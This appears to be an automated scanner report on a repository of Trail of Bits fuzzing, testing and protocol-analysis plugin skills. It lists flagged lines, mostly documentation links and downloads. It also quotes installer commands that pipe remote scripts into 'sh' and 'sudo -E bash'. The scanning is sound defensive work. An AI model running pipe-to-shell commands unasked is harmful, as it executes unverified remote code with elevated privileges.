    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/coverage-analysis/SKILL.md

  • Network accessline 18
    Coverage is a proxy for fuzzer capability and performance. While coverage [is not ideal for measuring fuzzer performance](https://arxiv.org/abs/1808.09700) in absolute terms, it reliably indicates whether your harness works effectively in a
  • Possible obfuscationline 278
    "\x7F\x45\x4C\x46"
  • Network accessline 587
    **[LLVM Source-Based Code Coverage](https://clang.llvm.org/docs/SourceBasedCodeCoverage.html)**
  • Network accessline 590
    **[llvm-cov Command Guide](https://llvm.org/docs/CommandGuide/llvm-cov.html)**
  • Network accessline 593
    **[gcovr Documentation](https://gcovr.com/)**
  • Network accessline 596
    **[SanitizerCoverage Documentation](https://clang.llvm.org/docs/SanitizerCoverage.html)**
  • Network accessline 599
    **[On the Evaluation of Fuzzer Performance](https://arxiv.org/abs/1808.09700)**

plugins/testing-handbook-skills/skills/coverage-analysis/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/fuzzing-dictionary/SKILL.md

  • Network accessline 85
    man curl | grep -oP '^\s*(--|-)\K\S+' | sed 's/[,.]$//' | sed 's/^/"&/; s/$/&"/' | sort -u > man.dict
  • Network accessline 286
    **[AFL++ Dictionaries](https://github.com/AFLplusplus/AFLplusplus/tree/stable/dictionaries)**
  • Network accessline 289
    **[libFuzzer Dictionary Documentation](https://llvm.org/docs/LibFuzzer.html#dictionaries)**
  • Network accessline 294
    **[OSS-Fuzz Dictionaries](https://github.com/google/oss-fuzz/tree/master/projects)**

plugins/testing-handbook-skills/skills/fuzzing-dictionary/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/fuzzing-obstacles/SKILL.md

  • Network accessline 267
    **OpenSSL:** Uses `FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION` to modify cryptographic algorithm behavior. For example, in [crypto/cmp/cmp_vfy.c](https://github.com/openssl/openssl/blob/afb19f07aecc84998eeea56c4d65f5e0499abb5a/crypto/cmp/cmp_
  • Network accessline 269
    **ogg crate (Rust):** Uses `cfg!(fuzzing)` to [skip checksum verification](https://github.com/RustAudio/ogg/blob/5ee8316e6e907c24f6d7ec4b3a0ed6a6ce854cc1/src/reading.rs#L298-L300) during fuzzing. This allows the fuzzer to explore audio proc
  • Network accessline 417
    **[OpenSSL Fuzzing Documentation](https://github.com/openssl/openssl/tree/master/fuzz)**
  • Network accessline 420
    **[LibFuzzer Documentation on Flags](https://llvm.org/docs/LibFuzzer.html)**
  • Network accessline 423
    **[Rust cfg Attribute Reference](https://doc.rust-lang.org/reference/conditional-compilation.html)**

plugins/testing-handbook-skills/skills/fuzzing-obstacles/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/harness-writing/SKILL.md

  • Network accessline 341
    This approach is more setup but prevents the fuzzer from wasting time on unparseable inputs. See [structure-aware fuzzing documentation](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md) for details.
  • Network accessline 434
    **Resources:** - [FuzzedDataProvider header](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h)
  • Network accessline 435
    - [FuzzedDataProvider header](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h)
  • Network accessline 436
    - [libFuzzer documentation](https://llvm.org/docs/LibFuzzer.html)
  • Network accessline 521
    **Resources:** - [cargo-fuzz documentation](https://rust-fuzz.github.io/book/cargo-fuzz.html)
  • Network accessline 522
    - [cargo-fuzz documentation](https://rust-fuzz.github.io/book/cargo-fuzz.html)
  • Network accessline 523
    - [arbitrary crate](https://github.com/rust-fuzz/arbitrary)
  • Network accessline 597
    **[Split Inputs in libFuzzer - Google Fuzzing Docs](https://github.com/google/fuzzing/blob/master/docs/split-inputs.md)**
  • Network accessline 600
    **[Structure-Aware Fuzzing with Protocol Buffers](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md)**
  • Network accessline 603
    **[libFuzzer Documentation](https://llvm.org/docs/LibFuzzer.html)**
  • Network accessline 606
    **[cargo-fuzz Book](https://rust-fuzz.github.io/book/cargo-fuzz.html)**
  • Network accessline 611
    - [Effective File Format Fuzzing](https://www.youtube.com/watch?v=qTTwqFRD1H8) - Conference talk on writing harnesses for file format parsers
  • Network accessline 612
    - [Modern Fuzzing of C/C++ Projects](https://www.youtube.com/watch?v=x0FQkAPokfE) - Tutorial covering harness design patterns

plugins/testing-handbook-skills/skills/harness-writing/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/libafl/SKILL.md

  • Network accessline 40
    git clone https://github.com/AFLplusplus/LibAFL
  • Network accessline 68
    wget https://apt.llvm.org/llvm.sh
  • Dangerous shell operationline 70
    sudo ./llvm.sh 15
  • Dangerous shell operationline 82
    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
  • Network accessline 82
    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
  • Network accessline 497
    curl -L -O https://downloads.sourceforge.net/project/libpng/libpng16/1.6.37/libpng-1.6.37.tar.xz
  • Network accessline 518
    curl -O https://raw.githubusercontent.com/glennrp/libpng/f8e5fa92b0e37ab597616f554bee254157998227/contrib/oss-fuzz/libpng_read_fuzzer.cc
  • Network accessline 528
    mkdir seeds/ curl -o seeds/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png
  • Network accessline 529
    curl -o seeds/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png
  • Network accessline 534
    curl -O https://raw.githubusercontent.com/glennrp/libpng/2fff013a6935967960a5ae626fc21432807933dd/contrib/oss-fuzz/png.dict
  • Network accessline 615
    - [LibAFL Book](https://aflplus.plus/libafl-book/) - Official handbook with comprehensive documentation
  • Network accessline 616
    - [LibAFL GitHub](https://github.com/AFLplusplus/LibAFL) - Source code and examples
  • Network accessline 617
    - [LibAFL API Documentation](https://docs.rs/libafl/latest/libafl/) - Rust API reference
  • Network accessline 621
    - [LibAFL Examples](https://github.com/AFLplusplus/LibAFL/tree/main/fuzzers) - Collection of example fuzzers
  • Network accessline 622
    - [cargo-fuzz with LibAFL](https://github.com/AFLplusplus/LibAFL/tree/main/fuzzers/fuzz_anything/cargo_fuzz) - Using LibAFL as cargo-fuzz backend
  • Network accessline 623
    - [Testing Handbook LibAFL Examples](https://github.com/trailofbits/testing-handbook/tree/main/materials/fuzzing/libafl) - Complete working examples from this handbook

plugins/testing-handbook-skills/skills/libafl/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/libfuzzer/SKILL.md

  • Network accessline 84
    Install Clang through Visual Studio. Refer to [Microsoft's documentation](https://learn.microsoft.com/en-us/cpp/build/clang-support-msbuild?view=msvc-170) for setup instructions.
  • Network accessline 170
    Download `FuzzedDataProvider.h` from the [LLVM repository](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h).
  • Network accessline 478
    man curl | grep -oP '^\s*(--|-)\K\S+' | sed 's/[,.]$//' | sed 's/^/"&/; s/$/&"/' | sort -u > man.dict
  • Network accessline 612
    curl -L -O https://downloads.sourceforge.net/project/libpng/libpng16/1.6.37/libpng-1.6.37.tar.xz
  • Network accessline 632
    curl -O https://raw.githubusercontent.com/glennrp/libpng/f8e5fa92b0e37ab597616f554bee254157998227/contrib/oss-fuzz/libpng_read_fuzzer.cc
  • Network accessline 637
    mkdir corpus/ curl -o corpus/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png
  • Network accessline 638
    curl -o corpus/input.png https://raw.githubusercontent.com/glennrp/libpng/acfd50ae0ba3198ad734e5d4dec2b05341e50924/contrib/pngsuite/iftp1n3p08.png
  • Network accessline 639
    curl -O https://raw.githubusercontent.com/glennrp/libpng/2fff013a6935967960a5ae626fc21432807933dd/contrib/oss-fuzz/png.dict
  • Network accessline 708
    See [structure-aware fuzzing documentation](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md) for details.
  • Network accessline 780
    - [LLVM libFuzzer Documentation](https://llvm.org/docs/LibFuzzer.html) - Official reference
  • Network accessline 781
    - [libFuzzer Tutorial by Google](https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md) - Step-by-step guide
  • Network accessline 782
    - [SanitizerCoverage](https://clang.llvm.org/docs/SanitizerCoverage.html) - Coverage instrumentation details
  • Network accessline 786
    - [Structure-Aware Fuzzing with libprotobuf-mutator](https://github.com/google/fuzzing/blob/master/docs/structure-aware-fuzzing.md)
  • Network accessline 787
    - [Split Inputs in libFuzzer](https://github.com/google/fuzzing/blob/master/docs/split-inputs.md)
  • Network accessline 788
    - [FuzzedDataProvider Header](https://github.com/llvm/llvm-project/blob/main/compiler-rt/include/fuzzer/FuzzedDataProvider.h)
  • Network accessline 792
    - [OSS-Fuzz](https://github.com/google/oss-fuzz) - Continuous fuzzing for open-source projects (many libFuzzer examples)
  • Network accessline 793
    - [AFL++ Dictionary Collection](https://github.com/AFLplusplus/AFLplusplus/tree/stable/dictionaries) - Reusable dictionaries

plugins/testing-handbook-skills/skills/libfuzzer/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/ossfuzz/SKILL.md

  • Network accessline 9
    [OSS-Fuzz](https://google.github.io/oss-fuzz/) is an open-source project developed by Google that provides free distributed infrastructure for continuous fuzz testing. It streamlines the fuzzing process and facilitates simpler modifications
  • Network accessline 43
    | Task | Command | |------|---------| | Clone OSS-Fuzz | `git clone https://github.com/google/oss-fuzz` |
  • Network accessline 44
    |------|---------| | Clone OSS-Fuzz | `git clone https://github.com/google/oss-fuzz` | | Build project image | `uv run --no-project python infra/helper.py build_image --pull <project>` |
  • Network accessline 45
    | Clone OSS-Fuzz | `git clone https://github.com/google/oss-fuzz` |
  • Network accessline 58
    The [bug tracker](https://issues.oss-fuzz.com/issues?q=status:open) allows you to:
  • Network accessline 59
    - Check bugs from specific projects (initially visible only to maintainers, later [made public](https://google.github.io/oss-fuzz/getting-started/bug-disclosure-guidelines/))
  • Network accessline 65
    The [build status system](https://oss-fuzz-build-logs.storage.googleapis.com/index.html) helps track:
  • Network accessline 72
    [Fuzz Introspector](https://oss-fuzz-introspector.storage.googleapis.com/index.html) displays:
  • Network accessline 77
    Read [this case study](https://github.com/ossf/fuzz-introspector/blob/main/doc/CaseStudies.md) for examples and explanations.
  • Network accessline 86
    git clone https://github.com/google/oss-fuzz
  • Network accessline 105
    **Sanitizer options:** - `--sanitizer=address` for [AddressSanitizer](https://appsec.guide/docs/fuzzing/techniques/asan/) with [LeakSanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizer)
  • Network accessline 106
    - `--sanitizer=address` for [AddressSanitizer](https://appsec.guide/docs/fuzzing/techniques/asan/) with [LeakSanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizer)
  • Network accessline 121
    First, [install gsutil](https://cloud.google.com/storage/docs/gsutil_install) (skip gcloud initialization).
  • Network accessline 130
    See [official OSS-Fuzz documentation](https://google.github.io/oss-fuzz/advanced-topics/code-coverage/) for details.
  • Network accessline 139
    # Clone and navigate to OSS-Fuzz git clone https://github.com/google/oss-fuzz
  • Network accessline 140
    git clone https://github.com/google/oss-fuzz
  • Network accessline 172
    homepage: "https://github.com/yourorg/yourproject"
  • Network accessline 173
    language: c++ primary_contact: "your-email@example.com" main_repo: "https://github.com/yourorg/yourproject"
  • Network accessline 174
    primary_contact: "your-email@example.com" main_repo: "https://github.com/yourorg/yourproject" fuzzing_engines:
  • Network accessline 175
    main_repo: "https://github.com/yourorg/yourproject"
  • Network accessline 189
    libtool \     pkg-config RUN git clone --depth 1 https://github.com/yourorg/yourproject
  • Network accessline 190
    pkg-config RUN git clone --depth 1 https://github.com/yourorg/yourproject WORKDIR yourproject
  • Network accessline 191
    RUN git clone --depth 1 https://github.com/yourorg/yourproject
  • Network accessline 221
    1. **[base_image](https://github.com/google/oss-fuzz/blob/master/infra/base-images/base-image/Dockerfile)** - Specific Ubuntu version
  • Network accessline 222
    2. **[base_clang](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-clang)** - Clang compiler; based on `base_image`
  • Network accessline 223
    3. **[base_builder](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-builder)** - Build dependencies; based on `base_clang`
  • Network accessline 224
    - Language-specific variants: [`base_builder_go`](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-builder-go), etc.
  • Network accessline 225
    - See [/oss-fuzz/infra/base-images/](https://github.com/google/oss-fuzz/tree/master/infra/base-images) for full list
  • Network accessline 230
    - **[base_runner](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-runner)** - Executes harnesses; based on `base_clang`
  • Network accessline 231
    - **[base_runner_debug](https://github.com/google/oss-fuzz/tree/master/infra/base-images/base-runner-debug)** - With debug tools; based on `base_runner`
  • Network accessline 238
    |-----|--------------| | **Don't manually copy source code** | Project Dockerfile likely already pulls latest version | | **Check existing projects** | Browse [oss-fuzz/projects](https://github.com/google/oss-fuzz/tree/master/projects) for 
  • Network accessline 239
    | **Don't manually copy source code** | Project Dockerfile likely already pulls latest version | | **Check existing projects** | Browse [oss-fuzz/projects](https://github.com/google/oss-fuzz/tree/master/projects) for examples | | **Keep har
  • Network accessline 240
    | **Check existing projects** | Browse [oss-fuzz/projects](https://github.com/google/oss-fuzz/tree/master/projects) for examples | | **Keep harnesses in separate repo** | Like [curl-fuzzer](https://github.com/curl/curl-fuzzer) - cleaner org
  • Network accessline 241
    | **Keep harnesses in separate repo** | Like [curl-fuzzer](https://github.com/curl/curl-fuzzer) - cleaner organization |
  • Network accessline 247
    OSS-Fuzz uses a [criticality score](https://github.com/ossf/criticality_score) to evaluate project acceptance. See [this example](https://github.com/google/oss-fuzz/pull/11444#issuecomment-1875907472) for how scoring works.
  • Network accessline 314
    **Example from [cbor2 integration](https://github.com/google/oss-fuzz/pull/11444):**
  • Network accessline 347
    **Integration tips:** - Use `compile_python_fuzzer` helper provided by OSS-Fuzz - See [Continuously Fuzzing Python C Extensions](https://blog.trailofbits.com/2024/02/23/continuously-fuzzing-python-c-extensions/) blog post
  • Network accessline 349
    - See [Continuously Fuzzing Python C Extensions](https://blog.trailofbits.com/2024/02/23/continuously-fuzzing-python-c-extensions/) blog post
  • Network accessline 368
    **Integration tips:** - [Rust supports only AddressSanitizer with libfuzzer](https://google.github.io/oss-fuzz/getting-started/new-project-guide/rust-lang/#projectyaml)
  • Network accessline 369
    - [Rust supports only AddressSanitizer with libfuzzer](https://google.github.io/oss-fuzz/getting-started/new-project-guide/rust-lang/#projectyaml)
  • Network accessline 408
    **[OSS-Fuzz Official Documentation](https://google.github.io/oss-fuzz/)**
  • Network accessline 411
    **[Getting Started Guide](https://google.github.io/oss-fuzz/getting-started/accepting-new-projects/)**
  • Network accessline 414
    **[cbor2 OSS-Fuzz Integration PR](https://github.com/google/oss-fuzz/pull/11444)**
  • Network accessline 420
    **[Fuzz Introspector Case Studies](https://github.com/ossf/fuzz-introspector/blob/main/doc/CaseStudies.md)**

plugins/testing-handbook-skills/skills/ossfuzz/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/ruzzy/SKILL.md

  • Network accessline 40
    Ruzzy supports Linux x86-64 and AArch64/ARM64. For macOS or Windows, use the [Dockerfile](https://github.com/trailofbits/ruzzy/blob/main/Dockerfile) or [development environment](https://github.com/trailofbits/ruzzy#developing).
  • Network accessline 240
    See [libFuzzer options](https://llvm.org/docs/LibFuzzer.html#options) for full reference.
  • Network accessline 428
    **[Introducing Ruzzy, a coverage-guided Ruby fuzzer](https://blog.trailofbits.com/2024/03/29/introducing-ruzzy-a-coverage-guided-ruby-fuzzer/)**
  • Network accessline 431
    **[Ruzzy GitHub Repository](https://github.com/trailofbits/ruzzy)**
  • Network accessline 434
    **[libFuzzer Documentation](https://llvm.org/docs/LibFuzzer.html)**
  • Network accessline 437
    **[Fuzzing Ruby C extensions](https://github.com/trailofbits/ruzzy#fuzzing-ruby-c-extensions)**
  • Network accessline 440
    **[Fuzzing pure Ruby code](https://github.com/trailofbits/ruzzy#fuzzing-pure-ruby-code)**

plugins/testing-handbook-skills/skills/ruzzy/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/testing-handbook-generator/SKILL.md

  • Network accessline 27
    **Repository:** `https://github.com/trailofbits/testing-handbook`

plugins/testing-handbook-skills/skills/testing-handbook-generator/agent-prompt.md

  • Network accessline 111
    | `{{< expand "title" >}}X{{< /expand >}}` | `<details><summary>title</summary>X</details>` | | `{{< figure src="..." >}}` | `(See handbook image: filename)` | | `{{< youtube ID >}}` | `[Video: Title](https://youtube.com/watch?v=ID)` (title
  • Network accessline 112
    | `{{< figure src="..." >}}` | `(See handbook image: filename)` | | `{{< youtube ID >}}` | `[Video: Title](https://youtube.com/watch?v=ID)` (title only) | | `{{< vimeo ID >}}` | `[Video: Title](https://vimeo.com/ID)` (title only) |
  • Network accessline 113
    | `{{< youtube ID >}}` | `[Video: Title](https://youtube.com/watch?v=ID)` (title only) |
  • Network accessline 114
    | `{{< vimeo ID >}}` | `[Video: Title](https://vimeo.com/ID)` (title only) |

plugins/testing-handbook-skills/skills/testing-handbook-generator/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/testing-handbook-generator/discovery.md

  • Network accessline 52
    git clone --depth=1 https://github.com/trailofbits/testing-handbook.git
  • Network accessline 325
    - [Introduction to Semgrep](https://www.youtube.com/watch?v=...) - Trail of Bits Webinar
  • Network accessline 326
    - [Semgrep Documentation](https://semgrep.dev/docs/) - Official docs
  • Network accessline 327
    - [Custom Rules Guide](https://semgrep.dev/docs/writing-rules/) - Rule authoring

plugins/testing-handbook-skills/skills/testing-handbook-generator/templates/domain-skill.md

  • Network accessline 382
    \```bash git clone https://github.com/google/wycheproof
  • Network accessline 383
    git clone https://github.com/google/wycheproof

plugins/testing-handbook-skills/skills/wycheproof/SKILL.md

  • Network accessline 163
    git submodule add https://github.com/C2SP/wycheproof.git
  • Network accessline 173
    TMP_WYCHEPROOF_FOLDER=".wycheproof/" TEST_VECTORS=('aes_gcm_test.json' 'aes_eax_test.json') BASE_URL="https://raw.githubusercontent.com/C2SP/wycheproof/master/testvectors_v1/"
  • Network accessline 175
    BASE_URL="https://raw.githubusercontent.com/C2SP/wycheproof/master/testvectors_v1/"
  • Network accessline 181
    for i in "${TEST_VECTORS[@]}"; do   if [ ! -f "${TMP_WYCHEPROOF_FOLDER}${i}" ]; then     curl -o "${TMP_WYCHEPROOF_FOLDER}${i}" "${BASE_URL}${i}"
  • Network accessline 182
    if [ ! -f "${TMP_WYCHEPROOF_FOLDER}${i}" ]; then     curl -o "${TMP_WYCHEPROOF_FOLDER}${i}" "${BASE_URL}${i}"     if [ $? -ne 0 ]; then
  • Network accessline 183
    curl -o "${TMP_WYCHEPROOF_FOLDER}${i}" "${BASE_URL}${i}"
  • Network accessline 383
    The [elliptic](https://www.npmjs.com/package/elliptic) library is an elliptic-curve cryptography library written in JavaScript, supporting ECDH, ECDSA, and EdDSA. Using Wycheproof test vectors on version 6.5.6 revealed multiple vulnerabilit
  • Network accessline 502
    **[Wycheproof GitHub Repository](https://github.com/C2SP/wycheproof)**
  • Network accessline 512
    **[pycryptodome](https://pypi.org/project/pycryptodome/)**
  • Network accessline 518
    - [C2SP Community](https://c2sp.org/) - Cryptographic specifications and standards community maintaining Wycheproof

plugins/testing-handbook-skills/skills/wycheproof/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Scott Arciszewski",     "url": "https://github.com/tob-scott-a"
  • Network accessline 6
    "name": "Scott Arciszewski",     "url": "https://github.com/tob-scott-a"   }
  • Network accessline 7
    "url": "https://github.com/tob-scott-a"

plugins/trailmark/skills/audit-augmentation/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/audit-augmentation/references/formats.md

  • Dangerous shell operationline 41
    "message": {"text": "Detected use of exec()"},

plugins/trailmark/skills/crypto-protocol-diagram/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/crypto-protocol-diagram/examples/simple-handshake/protocol.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Access to secretsline 134
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]

plugins/trailmark/skills/crypto-protocol-diagram/references/mermaid-sequence-syntax.md

  • Access to secretsline 156
    [Credential-related source omitted]

plugins/trailmark/skills/crypto-protocol-diagram/references/protocol-patterns.md

  • Network accessline 42
    ## Noise Protocol Framework (https://noiseprotocol.org)
  • Access to secretsline 165
    [Credential-related source omitted]

plugins/trailmark/skills/diagramming-code/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/diagramming-code/scripts/diagram.py

  • Executable scriptline 1
    Executable file

plugins/trailmark/skills/diagramming-code/scripts/test_skill_commands.py

  • Executable scriptline 1
    Executable file

plugins/trailmark/skills/genotoxic/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/genotoxic/references/mutation-frameworks.md

  • Dangerous shell operationline 308
    `sudo apt-get install clang-<version>`.
  • Network accessline 312
    Go to the [Mull releases page](https://github.com/mull-project/mull/releases/latest) and download the asset matching your LLVM version, platform, and
  • Dangerous shell operationline 345
    sudo mkdir -p /usr/local/bin /usr/local/lib
  • Dangerous shell operationline 346
    sudo cp usr/local/bin/mull-runner-* /usr/local/bin/
  • Dangerous shell operationline 347
    sudo cp usr/local/bin/mull-reporter-* /usr/local/bin/
  • Dangerous shell operationline 348
    sudo cp usr/local/lib/mull-ir-frontend-* /usr/local/lib/
  • Network accessline 366
    # Option A: Cloudsmith APT repository curl -1sLf \
  • Dangerous shell operationline 367
    curl -1sLf    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh'    | sudo -E bash
  • Network accessline 367
    curl -1sLf \
  • Network accessline 368
    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.deb.sh' \
  • Dangerous shell operationline 369
    | sudo -E bash
  • Dangerous shell operationline 370
    sudo apt-get update
  • Dangerous shell operationline 371
    sudo apt-get install mull-19  # match your LLVM version
  • Dangerous shell operationline 376
    sudo dpkg -i Mull-19-*.deb
  • Network accessline 382
    # Option A: Cloudsmith RPM repository curl -1sLf \
  • Dangerous shell operationline 383
    curl -1sLf    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh'    | sudo -E bash
  • Network accessline 383
    curl -1sLf \
  • Network accessline 384
    'https://dl.cloudsmith.io/public/mull-project/mull-stable/setup.rpm.sh' \
  • Dangerous shell operationline 385
    | sudo -E bash
  • Dangerous shell operationline 386
    sudo dnf install mull-20  # match your LLVM version
  • Dangerous shell operationline 391
    sudo rpm -i Mull-20-*.rpm
  • Network accessline 614
    # Clone and install from source git clone https://github.com/trailofbits/circomvent
  • Network accessline 615
    git clone https://github.com/trailofbits/circomvent
  • Network accessline 644
    # Clone and install from source git clone https://github.com/trailofbits/cairo-mutants
  • Network accessline 645
    git clone https://github.com/trailofbits/cairo-mutants
  • Network accessline 723
    contracts. It applies 15 Solidity-aware mutation operators to production code, runs the project's test suite against each mutant, and saves survived mutants as diffs. Based on [arxiv.org/abs/2006.11597](https://arxiv.org/abs/2006.11597).
  • Network accessline 725
    as diffs. Based on [arxiv.org/abs/2006.11597](https://arxiv.org/abs/2006.11597).

plugins/trailmark/skills/graph-evolution/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/graph-evolution/scripts/graph_diff.py

  • Executable scriptline 1
    Executable file

plugins/trailmark/skills/mermaid-to-proverif/SKILL.md

  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 287
    [Credential-related source omitted]
  • Access to secretsline 410
    [Credential-related source omitted]

plugins/trailmark/skills/mermaid-to-proverif/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/trailmark/skills/mermaid-to-proverif/examples/simple-handshake/sample-output.pv

  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
